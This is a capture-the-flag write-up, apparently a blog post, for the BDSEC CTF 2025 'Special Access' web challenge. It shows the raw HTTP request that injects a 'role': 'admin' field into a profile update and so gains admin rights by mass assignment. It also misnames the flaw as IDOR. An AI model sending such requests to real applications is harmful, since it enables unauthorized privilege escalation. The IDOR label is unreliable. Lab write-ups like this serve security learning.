Sitemap
Press enter or click to view image in full size

πŸ”“ Special Access β€” BDSEC CTF 2025

2 min readJul 21, 2025

--

Category: Web Exploitation
Points: 250
Author: TareqAhamed
Flag Format: BDSEC{Something}

🧠 Challenge Overview

We were given a basic user registration & login flow hosted at:

http://45.79.9.104:7474/

After creating and logging in with a test account, the user is taken to dashboard.php where their email and role are displayed.

Example:

Email: tester@test.com
Role: user

Our objective: Get the flag, which is likely only accessible to privileged roles like admin or special.

πŸ” Recon

We analyzed the captured requests:

  • POST /register.php β†’ registers user
  • POST /login.php β†’ logs in and redirects to dashboard.php
  • GET /dashboard.php β†’ shows profile with current role
  • POST /profile.php β†’ allows profile updates (email & password)

No direct link to a flag or admin area was visible in the HTML.

πŸ’‘ Key Discovery

Upon inspecting the profile.php update logic, we noticed this:

const data = {
email: formData.get('email')
};
const password = formData.get('password');
if (password && password.trim() !== '') {
data.password = password;
}

➑️ The frontend only sends email and password in the JSON payload.
However, the backend might blindly accept additional fields sent in raw JSON πŸ‘€

βš”οΈ Exploit β€” Role Privilege Escalation via JSON Manipulation

We crafted a custom POST request to profile.php:

POST /profile.php HTTP/1.1
Host: 45.79.9.104:7474
Content-Type: application/json
Cookie: PHPSESSID=94d8a319984e2fb21c1c5c08dab5e114
{
"email": "tester@test.com",
"role": "admin"
}
Press enter or click to view image in full size

πŸ“Œ This worked! Logging back into dashboard.php, we saw:

Email: tester@test.com
Role: admin βœ…
Press enter or click to view image in full size

🏁 Final Step β€” Accessing the Flag

Sometimes the flag is shown directly on the dashboard for admins.

Press enter or click to view image in full size

πŸ” The flag was revealed as:

BDSEC{MaSs_ASSignmEnt_Expl0itEd}

βœ… Root Cause

The backend did not sanitize or restrict the fields it accepted during profile updates. This allowed arbitrary fields like role to be inserted, leading to privilege escalation β€” a classic Insecure Direct Object Reference (IDOR) + Missing Access Control combo.

πŸ’¬ Final Thoughts

This was a clean and realistic challenge, showing how simple mistakes in input validation can lead to critical privilege escalation.

Massive shoutout to TareqAhamed (0xt4req) for this cool CTF web lab πŸ‘

--

--